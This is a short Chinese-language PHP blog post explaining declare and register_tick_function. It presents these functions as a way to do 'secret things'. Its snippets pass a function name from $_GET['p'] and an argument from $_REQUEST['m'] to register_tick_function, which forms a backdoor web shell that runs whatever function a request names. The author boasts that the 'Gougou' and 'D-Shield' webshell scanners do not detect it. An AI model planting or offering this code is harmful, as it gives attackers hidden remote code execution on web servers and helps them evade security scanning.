您现在的位置是:首页 > 程序 > php网站首页php

php函数:declare与register_tick_function(二)

  • 袁志蒙
  • 2017-07-04 21:16:32
  • 5150 次阅读
昨天已经解释过declare与register_tick_function,那什么时候用到这些呢?今天就来稍微举例说明一下。register_tick_function可以看做一个回调函数,而这个函数...

昨天已经解释过declare与register_tick_function,那什么时候用到这些呢?今天就来稍微举例说明一下。


register_tick_function可以看做一个回调函数,而这个函数却很少人用,我们有些地方可以利用这个函数来做一些秘密的事情~


不懂?怎么可以执行自己想要的函数呢?


简单举例:

<?php
$s = "ss.ss.$_GET[p]";
$c = explode(".",$s);
register_tick_function($c[2]);
declare(ticks = 2);


猜猜上面这段代码能干啥。。。。

显然这个回调函数是由我们来控制的。。。。

这下懂了吧。。。


当然register_tick_function还有第二个参数,就是为该回调的函数传参用的,比如:

<?php
function doticks ($a = ''){
    echo 'ticks<br>';
    echo $a;
}

register_tick_function('doticks', $_GET['p']);

declare(ticks = 2);

执行结果:

注:最最主要的是这些代码 “狗狗” 和 “D盾” 都未发觉。。。。


最后在献上一点代码,朋友们看看这段代码能做什么呢?

<?php
$s = "ss.ss.$_GET[p]";
$c = explode(".",$s);
register_tick_function($c[2], $_REQUEST['m']);
declare(ticks = 2);
TAG: PHP

文章评论 (0)

    • 这篇文章还没有收到评论,赶紧来抢沙发吧~


Top